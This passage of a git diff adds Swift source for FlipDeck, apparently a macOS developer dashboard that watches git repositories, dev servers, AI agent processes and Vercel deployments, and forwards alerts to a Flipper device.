HTTPClient = URLSessionHTTPClient(), + secrets: SecretStore, + effects: SystemEffects, + metrics: MachineMetricsProvider = BasicMachineMetrics(), + transport: FlipperTransport? = nil, + notifier: MacNotifier? = nil, + logSink: LogSink = StderrLogSink(), + settingsStore: SettingsStore, + activityLog: ActivityLog, + agentProviders: [any AgentProvider] = AgentProviders.all, + hostName: String = ProcessInfo.processInfo.hostName + ) { + self.runner = runner + self.http = http + self.secrets = secrets + self.effects = effects + self.metrics = metrics + self.transport = transport + self.notifier = notifier + self.logSink = logSink + self.settingsStore = settingsStore + self.activityLog = activityLog + self.agentProviders = agentProviders + self.hostName = hostName + } +} + +/// Everything a UI needs, delivered as one immutable value. +public struct EngineSnapshot: Sendable { + public let state: EngineState + public let events: [FDEvent] + public let attention: [AttentionItem] + public let flipper: FlipperLinkStatus + public let settings: FlipDeckSettings + public let hasVercelToken: Bool + public let agentProviders: [AgentProviderInfo] +} + +public struct AgentProviderInfo: Sendable, Hashable, Identifiable { + public let id: String + public let displayName: String + public let capabilities: AgentCapabilities +} + +/// Owns engine state. Providers are polled on independent cadences; every +/// state change goes through `apply`, which diffs old vs new state into +/// events, routes them, and publishes a snapshot to the UI and the Flipper. +public actor FlipDeckEngine { + let deps: EngineDependencies + let log: Logger + let git: GitClient + let processScanner: ProcessScanner + let executor: ActionExecutor + let vercel: VercelIntegration + let session: FlipperSession? + + public private(set) var state = EngineState() + private var settings: FlipDeckSettings + private var rules: NotificationRules + private var observer: (@Sendable (EngineSnapshot) -> Void)? + private var loops: [Task] = [] + private var flipperStatus = FlipperLinkStatus() + private var lastGitRefresh: [String: Date] = [:] + private var lastSave = Date.distantPast + private var vercelToken: String? + private var discoveryGeneration = 0 + /// Serializes everything sent to the session so a snapshot always + /// reaches it before an alert that refers to the snapshot's actions. + private var flipperChain: Task? + private var lastPublished: PublishedFingerprint? + + public init(dependencies: EngineDependencies) { + deps = dependencies + log = Logger("engine", sink: dependencies.logSink) + git = GitClient(runner: dependencies.runner) + processScanner = ProcessScanner(runner: dependencies.runner) + executor = ActionExecutor(effects: dependencies.effects) + vercel = VercelIntegration(http: dependencies.http, log: Logger("vercel", sink: dependencies.logSink)) + settings = dependencies.settingsStore.settings + rules = NotificationRules(flipperAlertsEnabled: settings.flipperAlerts, macNotificationsEnabled: settings.macNotifications) + vercelToken = dependencies.secrets.get(.vercelToken) + if let transport = dependencies.transport { + session = FlipperSession(transport: transport, hostName: dependencies.hostName, log: Logger("flipper", sink: dependencies.logSink)) + } else { + session = nil + } + } + + // MARK: Lifecycle + + public func setObserver(_ observer: @escaping @Sendable (EngineSnapshot) -> Void) { + self.observer = observer + observerNeedsInitial = true + publish() + } + + private var observerNeedsInitial = false + + public func start() async { + guard loops.isEmpty else { return } + log.info("Starting with roots: \(settings.projectRoots.joined(separator: ", "))") + await startSession() + await discoverProjects() + loops = [ + loop(every: { $0.processScanInterval }) { await $0.scanProcesses() }, + loop(every: { $0.gitRefreshInterval / 4 }) { await $0.refreshGit() }, + loop(every: { $0.discoveryInterval }, skipFirst: true) { await $0.discoverProjects() }, + loop(every: { $0.vercelInterval }) { await $0.refreshIntegrations() }, + loop(every: { _ in 5 }) { await $0.sampleMachine() }, + loop(every: { _ in 1 }) { await $0.tickFlipper() }, + ] + } + + func startSession() async { + guard let session else { return } + await session.setHandlers( + action: { [weak self] action in await self?.performFromFlipper(action) ?? .failure("Engine stopped") }, + seen: { [weak self] eventID in await self?.acknowledge(eventID: eventID) }, + status: { [weak self] status in Task { await self?.flipperStatusChanged(status) } } + ) + if settings.flipperEnabled { await session.start() } + } + + public func stop() async { + loops.forEach { $0.cancel() } + loops.removeAll() + await session?.stop() + try? deps.activityLog.saveIfNeeded() + } + + private func loop(every interval: @escaping @Sendable (FlipDeckSettings) -> TimeInterval, skipFirst: Bool = false, _ body: @escaping @Sendable (FlipDeckEngine) async -> Void) -> Task { + Task { [weak self] in + var first = true + while !Task.isCancelled { + guard let self else { return } + if !(first && skipFirst) { await body(self) } + first = false + let seconds = max(0.5, interval(await self.currentSettings)) + try? await Task.sleep(nanoseconds: UInt64(seconds * 1_000_000_000)) + } + } + } + + var currentSettings: FlipDeckSettings { settings } + + // MARK: Commands from the UI + + public func updateSettings(_ newSettings: FlipDeckSettings) async { + let rootsChanged = newSettings.projectRoots != settings.projectRoots + let flipperToggled = newSettings.flipperEnabled != settings.flipperEnabled + settings = newSettings + rules.flipperAlertsEnabled = newSettings.flipperAlerts + rules.macNotificationsEnabled = newSettings.macNotifications + do { try deps.settingsStore.save(newSettings) } catch { log.error("Couldn't save settings: \(error)") } + if flipperToggled, let session { + if newSettings.flipperEnabled { await session.start() } else { await session.stop() } + } + if rootsChanged { await discoverProjects() } + publish() + } + + public func setVercelToken(_ token: String?) async { + let trimmed = token?.trimmingCharacters(in: .whitespacesAndNewlines) + let value = (trimmed?.isEmpty ?? true) ? nil : trimmed + do { try deps.secrets.set(value, for: .vercelToken) } catch { log.error("Couldn't store Vercel token: \(error)") } + vercelToken = value + if value == nil { + apply { state in + state.deployments.removeAll() + state.observed.deploymentsByProject.removeAll() + } + } + await refreshIntegrations() + } + + public func perform(_ action: FDAction) async -> ActionResult { + let result = await executor.perform(action, origin: .mac, state: state, policy: policy) + if !result.ok { log.warning("Action \(action.kind.rawValue) failed: \(result.message)") } + return result + } + + /// Remembers (or forgets, with nil) the paired Flipper's identifier. + public func rememberFlipper(_ identifier: String?) async { + guard settings.flipperPeripheralID != identifier else { return } + settings.flipperPeripheralID = identifier + do { try deps.settingsStore.save(settings) } catch { log.error("Couldn't save settings: \(error)") } + publish() + } + + public func acknowledge(eventID: String) async { + if deps.activityLog.acknowledge(id: eventID) { + await session?.acknowledged(eventID: eventID) + publish() + } + } + + public func acknowledgeAll() async { + deps.activityLog.acknowledgeAll() + publish() + } + + public func refreshNow() async { + await sampleMachine() + await discoverProjects() + await scanProcesses() + await refreshIntegrations() + } + + // MARK: Providers + + func discoverProjects() async { + discoveryGeneration += 1 + let generation = discoveryGeneration + let roots = settings.projectRoots + // Filesystem walk + manifest reads happen off the actor. + let discovered: [(ProjectScanner.Found, ProjectRuntime, VercelLink?)] = await Task.detached(priority: .utility) { + ProjectScanner().scan(roots: roots).map { found in + (found, FrameworkDetector.detect(at: found.path), VercelLinkReader.read(projectPath: found.path)) + } + }.value + guard generation == discoveryGeneration else { return } // superseded by a newer scan + + var remotes: [String: String] = [:] + for (found, _, _) in discovered where found.isGitRepository { + if let url = try? await git.remoteURL(at: found.path) { remotes[found.path] = url } + } + + apply { state in + let previous = Dictionary(state.projects.map { ($0.id, $0) }, uniquingKeysWith: { a, _ in a }) + state.projects = discovered.map { found, runtime, link in + var project = previous[found.path] ?? Project( + path: found.path, + name: URL(fileURLWithPath: found.path).lastPathComponent, + isGitRepository: found.isGitRepository + ) + project.isGitRepository = found.isGitRepository + project.runtime = runtime + project.vercel = link + if project.git != nil { project.git?.remoteURL = remotes[found.path] } + return project + } + state.lastProjectScan = Date() + let ids = Set(state.projects.map(\.id)) + state.deployments = state.deployments.filter { ids.contains($0.key) } + } + log.info("Discovered \(discovered.count) projects") + await refreshGit(force: true) + } + + func refreshGit(force: Bool = false) async { + let now = Date() + let hot = Set(state.servers.compactMap(\.projectID) + state.agents.compactMap(\.projectID) + state.processes.compactMap(\.projectID)) + let due = state.projects.filter { project in + guard project.isGitRepository else { return false } + if force { return true } + let interval = hot.contains(project.id) ? settings.gitRefreshInterval : settings.gitRefreshInterval * 6 + return now.timeIntervalSince(lastGitRefresh[project.id] ?? .distantPast) >= interval + } + guard !due.isEmpty else { return } + for project in due { lastGitRefresh[project.id] = now } + + let previous = Dictionary(state.projects.map { ($0.id, $0.git) }, uniquingKeysWith: { a, _ in a }) + let client = git + let results: [(String, GitStatus?, String?)] = await withTaskGroup(of: (String, GitStatus?, String?).self) { group in + var iterator = due.makeIterator() + var results: [(String, GitStatus?, String?)] = [] + func addNext() -> Bool { + guard let project = iterator.next() else { return false } + let prior = previous[project.id] ?? nil + group.addTask { + do { + var status = try await client.status(at: project.path) + if let prior, prior.headOID == status.headOID, prior.lastCommit != nil { + status.lastCommit = prior.lastCommit + } else { + status.lastCommit = try? await client.lastCommit(at: project.path) + } + status.remoteURL = prior?.remoteURL + if status.remoteURL == nil { status.remoteURL = try? await client.remoteURL(at: project.path) } + return (project.id, status, nil) + } catch { + return (project.id, nil, String(describing: error)) + } + } + return true + } + // At most 4 git processes at once. + for _ in 0..<4 { _ = addNext() } + while let result = await group.next() { + results.append(result) + _ = addNext() + } + return results + } + + apply { state in + for (id, status, error) in results { + guard let index = state.projects.firstIndex(where: { $0.id == id }) else { continue } + if let status { + state.projects[index].git = status + state.projects[index].gitError = nil + } else { + state.projects[index].gitError = error + } + } + } + } + + func scanProcesses() async { + let records: [ProcessRecord] + let listeners: [Listener] + do { + records = try await processScanner.processTable() + } catch { + log.warning("Process scan failed: \(error)") + return + } + do { + listeners = try await processScanner.listeners() + } catch { + log.warning("Listener scan failed: \(error)") + listeners = [] + } + + let uid = processScanner.currentUID + let associator = ProjectAssociator(projects: state.projects) + let byPID = Dictionary(records.map { ($0.pid, $0) }, uniquingKeysWith: { a, _ in a }) + + var agentRecords: [(any AgentProvider, ProcessRecord)] = [] + for provider in deps.agentProviders { + for record in provider.sessions(in: records, currentUID: uid) { agentRecords.append((provider, record)) } + } + let classified = ProcessClassifier.collapseWrappers( + records.filter { $0.uid == uid }.compactMap { record in ProcessClassifier.classify(record).map { (record, $0) } } + ) + + // Batch cwd lookups for the handful of processes we care about. + var interesting = Set(listeners.compactMap { byPID[$0.pid]?.uid == uid ? $0.pid : nil }) + interesting.formUnion(agentRecords.map(\.1.pid)) + interesting.formUnion(classified.map(\.0.pid)) + let cwds = await processScanner.cwds(for: Array(interesting.sorted().prefix(96))) + + let servers = DevServerDetector.detect(records: records, listeners: listeners, cwds: cwds, currentUID: uid, associator: associator) + let serverPIDs = Set(servers.map(\.pid)) + let agents = agentRecords.map { provider, record in + AgentSession( + providerID: provider.id, providerName: provider.displayName, pid: record.pid, startedAt: record.startedAt, + cwd: cwds[record.pid], projectID: associator.projectID(cwd: cwds[record.pid], args: record.args), + command: String(record.args.prefix(300)) + ) + } + let agentPIDs = Set(agents.map(\.pid)) + let processes = classified + .filter { !serverPIDs.contains($0.0.pid) && !agentPIDs.contains($0.0.pid) } + .map { record, match in + DevProcess( + pid: record.pid, kind: match.kind, label: match.label, command: String(record.args.prefix(300)), + startedAt: record.startedAt, cwd: cwds[record.pid], + projectID: associator.projectID(cwd: cwds[record.pid], args: record.args) + ) + } + + apply { state in + state.servers = servers + state.agents = agents.sorted { ($0.startedAt ?? .distantPast) > ($1.startedAt ?? .distantPast) } + state.processes = processes.sorted { $0.pid < $1.pid } + state.observed.processes = true + state.lastProcessScan = Date() + } + } + + func refreshIntegrations() async { + let refresh = await vercel.refresh(projects: state.projects, token: vercelToken) + let previousHealth = state.integrations.first { $0.id == refresh.status.id }?.health + apply { state in + for (projectID, deployments) in refresh.deployments { + state.deployments[projectID] = deployments.sorted { $0.createdAt > $1.createdAt } + // Baseline is set *after* this apply's diff, see below. + } + if let index = state.integrations.firstIndex(where: { $0.id == refresh.status.id }) { + state.integrations[index] = refresh.status + } else { + state.integrations.append(refresh.status) + } + } + // Mark fetched projects as observed only after the first diff ran, so + // the first fetch is a silent baseline and later ones produce events. + let fetched = Set(refresh.deployments.keys) + if !fetched.isSubset(of: state.observed.deploymentsByProject) { + state.observed.deploymentsByProject.formUnion(fetched) + } + + if refresh.status.health == .unauthorized, previousHealth != .unauthorized { + record(FDEvent( + id: "integration.unauthorized:vercel:\(Int(Date().timeIntervalSince1970))", + timestamp: Date(), source: .vercel, type: .integrationError, severity: .warning, + title: "Vercel token rejected", message: "Update the token in Settings → Integrations" + )) + } + } + + func sampleMachine() async { + let machine = await deps.metrics.sample() + state.machine = machine + publish() + } + + func tickFlipper() async { + await session?.tick() + if Date().timeIntervalSince(lastSave) > 5 { + lastSave = Date() + do { try deps.activityLog.saveIfNeeded() } catch { log.error("Couldn't save activity: \(error)") } + } + } + + func flipperStatusChanged(_ status: FlipperLinkStatus) { + guard status != flipperStatus else { return } + flipperStatus = status + publish() + } + + func performFromFlipper(_ action: FDAction) async -> ActionResult { + let result = await executor.perform(action, origin: .flipper, state: state, policy: policy) + let projectName = state.projects.first { project in + if case .project(let path) = action.target { return path == project.path } + return false + }?.name + record(FDEvent( + timestamp: Date(), source: .flipper, projectName: projectName, + type: result.ok ? .actionPerformed : .actionFailed, + severity: result.ok ? .info : .warning, + title: "\(action.label) from Flipper", + message: result.message + )) + return result + } + + var policy: ActionPolicy { + ActionPolicy(allowDestructiveFromFlipper: settings.allowDestructiveFromFlipper, editorBundleID: settings.editorBundleID) + } + + // MARK: State pipeline + + private func apply(_ mutate: (inout EngineState) -> Void) { + let old = state + mutate(&state) + let events = EventDiffer.diff(old: old, new: state, now: Date()) + route(events) + } + + private func record(_ event: FDEvent) { + route([event]) + } + + private func route(_ events: [FDEvent]) { + let added = deps.activityLog.append(events) + var alerts: [FDEvent] = [] + for event in added { + let route = rules.route(for: event) + log.info("event \(event.type.rawValue): \(event.title)") + if route.contains(.mac) { deps.notifier?.post(event) } + if route.contains(.flipper) { alerts.append(event) } + } + publish() + if let session, !alerts.isEmpty { + // Queued behind the snapshot enqueued by publish() above. + let ordered = Array(alerts.reversed()) + enqueueFlipper { for alert in ordered { await session.alert(alert) } } + } + } + + private func enqueueFlipper(_ work: @escaping @Sendable () async -> Void) { + let previous = flipperChain + flipperChain = Task { + await previous?.value + await work() + } + } + + /// What the UI and Flipper can observe; publishing is skipped when unchanged. + struct PublishedFingerprint: Equatable { + let state: EngineState + let events: [FDEvent] + let flipper: FlipperLinkStatus + let settings: FlipDeckSettings + let hasToken: Bool + } + + private func publish() { + let events = deps.activityLog.recent(200) + let fingerprint = PublishedFingerprint(state: state, events: events, flipper: flipperStatus, settings: settings, hasToken: vercelToken != nil) + guard fingerprint != lastPublished || observerNeedsInitial else { return } + lastPublished = fingerprint + observerNeedsInitial = false + let attention = AttentionBuilder.build(state: state, events: events, now: Date()) + if let session { + let snapshot = FlipperSnapshotBuilder.build(state: state, attention: attention, events: events) + let machine = state.machine + enqueueFlipper { await session.update(snapshot: snapshot, machine: machine) } + } + observer?(EngineSnapshot( + state: state, + events: events, + attention: attention, + flipper: flipperStatus, + settings: settings, + hasVercelToken: vercelToken != nil, + agentProviders: deps.agentProviders.map { AgentProviderInfo(id: $0.id, displayName: $0.displayName, capabilities: $0.capabilities) } + )) + } +} diff --git a/mac/Sources/FlipDeckCore/Engine/Machine.swift b/mac/Sources/FlipDeckCore/Engine/Machine.swift new file mode 100644 index 0000000..2d84c5c --- /dev/null +++ b/mac/Sources/FlipDeckCore/Engine/Machine.swift @@ -0,0 +1,27 @@ +import Foundation + +public protocol MachineMetricsProvider: Sendable { + func sample() async -> MachineStatus +} + +/// Portable baseline: only what Foundation can report reliably everywhere. +/// CPU, used memory, battery and network are left nil (unknown) rather than +/// guessed; the macOS platform module supplies real values. +public struct BasicMachineMetrics: MachineMetricsProvider { + public init() {} + + public func sample() async -> MachineStatus { + let info = ProcessInfo.processInfo + return MachineStatus( + hostName: info.hostName, + osVersion: info.operatingSystemVersionString, + memoryTotalBytes: info.physicalMemory, + bootTime: Date().addingTimeInterval(-info.systemUptime) + ) + } +} + +/// Posts Mac notifications (UserNotifications on macOS). +public protocol MacNotifier: Sendable { + func post(_ event: FDEvent) +} diff --git a/mac/Sources/FlipDeckCore/Events/ActivityLog.swift b/mac/Sources/FlipDeckCore/Events/ActivityLog.swift new file mode 100644 index 0000000..a6f60a3 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Events/ActivityLog.swift @@ -0,0 +1,195 @@ +import Foundation + +/// Where an event should surface. Everything goes to Activity; `flipper` and +/// `mac` are escalations. +public struct NotificationRoute: OptionSet, Codable, Hashable, Sendable { + public let rawValue: Int + public init(rawValue: Int) { self.rawValue = rawValue } + + public static let activity = NotificationRoute(rawValue: 1 << 0) + public static let flipper = NotificationRoute(rawValue: 1 << 1) + public static let mac = NotificationRoute(rawValue: 1 << 2) +} + +/// Deterministic routing table. Kept as data so a smarter prioritizer can +/// replace or wrap it later without touching providers or transports. +public struct NotificationRules: Sendable { + public var table: [EventType: NotificationRoute] + public var flipperAlertsEnabled: Bool + public var macNotificationsEnabled: Bool + + public static let defaultTable: [EventType: NotificationRoute] = [ + .deploymentStarted: .activity, + .deploymentSucceeded: .activity, + .deploymentFailed: [.activity, .flipper, .mac], + .deploymentCanceled: .activity, + .testsStarted: .activity, + .testsPassed: .activity, + .testsFailed: [.activity, .flipper], + .serverStarted: .activity, + .serverStopped: .activity, + .agentStarted: .activity, + .agentCompleted: [.activity, .flipper], + .agentFailed: [.activity, .flipper, .mac], + // Outcome unknown, but "your agent stopped" is exactly what someone + // who walked away wants to know. + .agentExited: [.activity, .flipper], + .gitChanged: .activity, + .integrationError: [.activity, .mac], + .actionPerformed: .activity, + .actionFailed: .activity, + ] + + public init(table: [EventType: NotificationRoute] = NotificationRules.defaultTable, flipperAlertsEnabled: Bool = true, macNotificationsEnabled: Bool = true) { + self.table = table + self.flipperAlertsEnabled = flipperAlertsEnabled + self.macNotificationsEnabled = macNotificationsEnabled + } + + public func route(for event: FDEvent) -> NotificationRoute { + var route = table[event.type] ?? Self.fallback(for: event.severity) + route.insert(.activity) + if !flipperAlertsEnabled { route.remove(.flipper) } + if !macNotificationsEnabled { route.remove(.mac) } + return route + } + + static func fallback(for severity: Severity) -> NotificationRoute { + switch severity { + case .error, .actionRequired: return [.activity, .flipper, .mac] + default: return .activity + } + } +} + +/// Bounded, de-duplicated event history with optional JSON persistence. +public final class ActivityLog: @unchecked Sendable { + public let capacity: Int + private let fileURL: URL? + private let lock = NSLock() + private var events: [FDEvent] = [] + private var ids: Set = [] + private var dirty = false + + public init(capacity: Int = 500, fileURL: URL? = nil) { + self.capacity = capacity + self.fileURL = fileURL + if let fileURL, let data = try? Data(contentsOf: fileURL) { + let decoder = JSONDecoder() + decoder.dateDecodingStrategy = .iso8601 + if let stored = try? decoder.decode([FDEvent].self, from: data) { + events = Array(stored.prefix(capacity)) + ids = Set(events.map(\.id)) + } + } + } + + /// Adds events not seen before; returns the ones actually added (newest first). + @discardableResult + public func append(_ newEvents: [FDEvent]) -> [FDEvent] { + lock.lock() + defer { lock.unlock() } + var added: [FDEvent] = [] + for event in newEvents where !ids.contains(event.id) { + ids.insert(event.id) + added.append(event) + } + guard !added.isEmpty else { return [] } + events.insert(contentsOf: added.sorted { $0.timestamp > $1.timestamp }, at: 0) + if events.count > capacity { + for dropped in events[capacity...] { ids.remove(dropped.id) } + events.removeLast(events.count - capacity) + } + dirty = true + return added + } + + public func recent(_ limit: Int = 200) -> [FDEvent] { + lock.lock() + defer { lock.unlock() } + return Array(events.prefix(limit)) + } + + public func event(id: String) -> FDEvent? { + lock.lock() + defer { lock.unlock() } + return events.first { $0.id == id } + } + + @discardableResult + public func acknowledge(id: String) -> Bool { + lock.lock() + defer { lock.unlock() } + guard let index = events.firstIndex(where: { $0.id == id }), !events[index].acknowledged else { return false } + events[index].acknowledged = true + dirty = true + return true + } + + public func acknowledgeAll() { + lock.lock() + defer { lock.unlock() } + for index in events.indices where !events[index].acknowledged { + events[index].acknowledged = true + dirty = true + } + } + + /// Writes to disk if anything changed since the last save. + public func saveIfNeeded() throws { + lock.lock() + guard dirty, let fileURL else { lock.unlock(); return } + let snapshot = events + dirty = false + lock.unlock() + + let encoder = JSONEncoder() + encoder.dateEncodingStrategy = .iso8601 + let data = try encoder.encode(snapshot) + try FileManager.default.createDirectory(at: fileURL.deletingLastPathComponent(), withIntermediateDirectories: true) + try data.write(to: fileURL, options: .atomic) + } +} + +/// Things that need the user: failed deployments (from live state, so it +/// holds even across restarts) and unacknowledged serious events. +public enum AttentionBuilder { + public static func build(state: EngineState, events: [FDEvent], now: Date, window: TimeInterval = 24 * 3600) -> [AttentionItem] { + var items: [AttentionItem] = [] + var coveredDeployments: Set = [] + + for project in state.projects { + guard let latest = state.latestDeployment(for: project.id), latest.state == .error else { continue } + coveredDeployments.insert(latest.id) + let eventID = "\(EventType.deploymentFailed.rawValue):\(latest.id)" + // Dismissing the failure event (Mac or Flipper) clears this item until the next failure. + if events.first(where: { $0.id == eventID })?.acknowledged == true { continue } + items.append(AttentionItem( + id: "deploy:\(latest.id)", + severity: latest.isProduction ? .error : .warning, + projectID: project.id, + projectName: project.name, + title: "\(latest.targetLabel) deploy failed", + eventID: eventID, + actions: ActionCatalog.actions(for: latest) + [FDAction(kind: .openOnMac, target: .project(path: project.path), source: .vercel)] + )) + } + + for event in events where !event.acknowledged && event.severity >= .error && now.timeIntervalSince(event.timestamp) < window { + if let deployment = event.metadata["deployment"], coveredDeployments.contains(deployment) { continue } + // A failure that has since been superseded by a newer deployment is resolved. + if event.type == .deploymentFailed, let projectID = event.projectID, + let latest = state.latestDeployment(for: projectID), latest.id != event.metadata["deployment"] { continue } + items.append(AttentionItem( + id: "event:\(event.id)", + severity: event.severity, + projectID: event.projectID, + projectName: event.projectName, + title: event.title, + eventID: event.id, + actions: event.actions + )) + } + return items.sorted { $0.severity > $1.severity } + } +} diff --git a/mac/Sources/FlipDeckCore/Events/EventDiffer.swift b/mac/Sources/FlipDeckCore/Events/EventDiffer.swift new file mode 100644 index 0000000..efe6834 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Events/EventDiffer.swift @@ -0,0 +1,189 @@ +import Foundation + +/// Derives normalized events by comparing two consecutive engine states. +/// Pure and deterministic: the same pair of states always yields the same +/// events with the same ids, so a repeated diff can be de-duplicated. +public enum EventDiffer { + public static func diff(old: EngineState, new: EngineState, now: Date) -> [FDEvent] { + var events: [FDEvent] = [] + if old.observed.processes && new.observed.processes { + events += diffServers(old: old, new: new, now: now) + events += diffAgents(old: old, new: new, now: now) + } + events += diffGit(old: old, new: new, now: now) + events += diffDeployments(old: old, new: new, now: now) + return events + } + + static func projectName(_ state: EngineState, _ id: String?) -> String? { + state.project(id: id)?.name + } + + static func diffServers(old: EngineState, new: EngineState, now: Date) -> [FDEvent] { + func key(_ server: DevServer) -> String { "\(server.pid):\(server.primaryPort)" } + let oldKeys = Dictionary(old.servers.map { (key($0), $0) }, uniquingKeysWith: { a, _ in a }) + let newKeys = Dictionary(new.servers.map { (key($0), $0) }, uniquingKeysWith: { a, _ in a }) + var events: [FDEvent] = [] + + for server in new.servers where oldKeys[key(server)] == nil { + let name = projectName(new, server.projectID) + events.append(FDEvent( + id: "server.started:\(key(server)):\(Int(server.startedAt?.timeIntervalSince1970 ?? 0))", + timestamp: now, source: .process, projectID: server.projectID, projectName: name, + type: .serverStarted, severity: .info, + title: "\(server.displayName) started on :\(server.primaryPort)", + message: name.map { "in \($0)" } ?? server.processName, + actions: ActionCatalog.actions(for: server), + metadata: ["pid": String(server.pid), "port": String(server.primaryPort)] + )) + } + for server in old.servers where newKeys[key(server)] == nil { + let name = projectName(old, server.projectID) + events.append(FDEvent( + id: "server.stopped:\(key(server)):\(Int(now.timeIntervalSince1970))", + timestamp: now, source: .process, projectID: server.projectID, projectName: name, + type: .serverStopped, severity: .info, + title: "\(server.displayName) stopped (:\(server.primaryPort))", + message: name.map { "in \($0)" } ?? server.processName, + metadata: ["pid": String(server.pid), "port": String(server.primaryPort)] + )) + } + return events + } + + static func diffAgents(old: EngineState, new: EngineState, now: Date) -> [FDEvent] { + let oldIDs = Set(old.agents.map(\.id)) + let newIDs = Set(new.agents.map(\.id)) + var events: [FDEvent] = [] + + for agent in new.agents where !oldIDs.contains(agent.id) { + let name = projectName(new, agent.projectID) + events.append(FDEvent( + id: "agent.started:\(agent.id)", + timestamp: now, source: .agent, projectID: agent.projectID, projectName: name, + type: .agentStarted, severity: .info, + title: "\(agent.providerName) started", + message: name.map { "in \($0)" } ?? agent.cwd ?? "", + metadata: ["provider": agent.providerID, "pid": String(agent.pid)] + )) + } + for agent in old.agents where !newIDs.contains(agent.id) { + let name = projectName(old, agent.projectID) + var detail = name.map { "in \($0)" } ?? "" + if let started = agent.startedAt { + detail += (detail.isEmpty ? "" : " ") + "after \(Format.duration(now.timeIntervalSince(started)))" + } + var actions: [FDAction] = [] + if let projectID = agent.projectID, let project = old.project(id: projectID) { + actions = [FDAction(kind: .openOnMac, target: .project(path: project.path), source: .agent)] + } + events.append(FDEvent( + id: "agent.exited:\(agent.id)", + timestamp: now, source: .agent, projectID: agent.projectID, projectName: name, + type: .agentExited, severity: .info, + title: "\(agent.providerName) finished", + message: detail + (detail.isEmpty ? "" : " · ") + "exit status not available", + actions: actions, + metadata: ["provider": agent.providerID, "pid": String(agent.pid)] + )) + } + return events + } + + static func diffGit(old: EngineState, new: EngineState, now: Date) -> [FDEvent] { + let oldProjects = Dictionary(old.projects.map { ($0.id, $0) }, uniquingKeysWith: { a, _ in a }) + var events: [FDEvent] = [] + for project in new.projects { + // Only compare two real observations; a project's first status is its baseline. + guard let newGit = project.git, let oldGit = oldProjects[project.id]?.git else { continue } + if newGit.branch != oldGit.branch { + let branch = newGit.branch ?? "detached HEAD" + events.append(FDEvent( + id: "git.branch:\(project.id):\(branch):\(newGit.headOID ?? "")", + timestamp: now, source: .git, projectID: project.id, projectName: project.name, + type: .gitChanged, severity: .info, + title: "Switched to \(branch)", + message: project.name, + metadata: ["change": "branch", "branch": branch] + )) + } else if let newOID = newGit.headOID, newOID != oldGit.headOID { + let subject = newGit.lastCommit?.oid == newOID ? newGit.lastCommit?.subject : nil + events.append(FDEvent( + id: "git.commit:\(project.id):\(newOID)", + timestamp: now, source: .git, projectID: project.id, projectName: project.name, + type: .gitChanged, severity: .info, + title: "New commit on \(newGit.branch ?? "HEAD")", + message: subject ?? String(newOID.prefix(8)), + metadata: ["change": "commit", "oid": newOID] + )) + } + } + return events + } + + static func diffDeployments(old: EngineState, new: EngineState, now: Date) -> [FDEvent] { + var events: [FDEvent] = [] + for (projectID, deployments) in new.deployments { + // First successful fetch for a project is the baseline. + guard old.observed.deploymentsByProject.contains(projectID) else { continue } + let previous = Dictionary((old.deployments[projectID] ?? []).map { ($0.id, $0.state) }, uniquingKeysWith: { a, _ in a }) + let name = projectName(new, projectID) + for deployment in deployments.reversed() { + let before = previous[deployment.id] + guard before != deployment.state else { continue } + // Deployments older than what we previously tracked fell out of + // the window, not newly created: don't announce them. + if before == nil, let oldest = old.deployments[projectID]?.last, deployment.createdAt < oldest.createdAt { continue } + guard let event = deploymentEvent(deployment, before: before, projectName: name, now: now) else { continue } + events.append(event) + } + } + return events + } + + static func deploymentEvent(_ deployment: Deployment, before: DeploymentState?, projectName: String?, now: Date) -> FDEvent? { + let target = deployment.targetLabel + let type: EventType + let severity: Severity + let title: String + var message = [deployment.branch, deployment.commitMessage].compactMap { $0 }.joined(separator: " · ") + switch deployment.state { + case .queued, .building: + // One "started" per deployment, even if it goes queued → building. + guard before == nil else { return nil } + type = .deploymentStarted + severity = .info + title = "\(target) deployment started" + case .ready: + type = .deploymentSucceeded + severity = .success + title = "\(target) deployment is live" + case .error: + type = .deploymentFailed + severity = deployment.isProduction ? .error : .warning + title = "\(target) deployment failed" + if let error = deployment.errorMessage { message = error } + case .canceled: + type = .deploymentCanceled + severity = .info + title = "\(target) deployment canceled" + } + return FDEvent( + id: "\(type.rawValue):\(deployment.id)", + timestamp: now, source: .vercel, projectID: deployment.projectID, projectName: projectName, + type: type, severity: severity, title: title, message: message, + actions: ActionCatalog.actions(for: deployment), + metadata: ["deployment": deployment.id, "target": deployment.target ?? "preview"] + ) + } +} + +public enum Format { + public static func duration(_ seconds: TimeInterval) -> String { + let total = max(0, Int(seconds)) + if total < 60 { return "\(total)s" } + if total < 3600 { return "\(total / 60)m" } + if total < 86_400 { return "\(total / 3600)h \((total % 3600) / 60)m" } + return "\(total / 86_400)d \((total % 86_400) / 3600)h" + } +} diff --git a/mac/Sources/FlipDeckCore/Integrations/HTTPClient.swift b/mac/Sources/FlipDeckCore/Integrations/HTTPClient.swift new file mode 100644 index 0000000..18933d8 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Integrations/HTTPClient.swift @@ -0,0 +1,57 @@ +import Foundation +#if canImport(FoundationNetworking) +import FoundationNetworking +#endif + +public struct HTTPResponse: Sendable { + public let status: Int + public let body: Data + public let headers: [String: String] + + public init(status: Int, body: Data, headers: [String: String] = [:]) { + self.status = status + self.body = body + self.headers = headers + } + + public func header(_ name: String) -> String? { + headers.first { $0.key.caseInsensitiveCompare(name) == .orderedSame }?.value + } +} + +public protocol HTTPClient: Sendable { + func get(_ url: URL, headers: [String: String]) async throws -> HTTPResponse +} + +public final class URLSessionHTTPClient: HTTPClient, @unchecked Sendable { + private let session: URLSession + + public init(timeout: TimeInterval = 15) { + let configuration = URLSessionConfiguration.ephemeral + configuration.timeoutIntervalForRequest = timeout + configuration.httpCookieStorage = nil + configuration.urlCache = nil + session = URLSession(configuration: configuration) + } + + public func get(_ url: URL, headers: [String: String]) async throws -> HTTPResponse { + var request = URLRequest(url: url) + request.httpMethod = "GET" + for (name, value) in headers { request.setValue(value, forHTTPHeaderField: name) } + return try await withCheckedThrowingContinuation { continuation in + let task = session.dataTask(with: request) { data, response, error in + if let error { + continuation.resume(throwing: error) + return + } + let http = response as? HTTPURLResponse + var responseHeaders: [String: String] = [:] + for (key, value) in http?.allHeaderFields ?? [:] { + responseHeaders[String(describing: key)] = String(describing: value) + } + continuation.resume(returning: HTTPResponse(status: http?.statusCode ?? 0, body: data ?? Data(), headers: responseHeaders)) + } + task.resume() + } + } +} diff --git a/mac/Sources/FlipDeckCore/Integrations/Vercel.swift 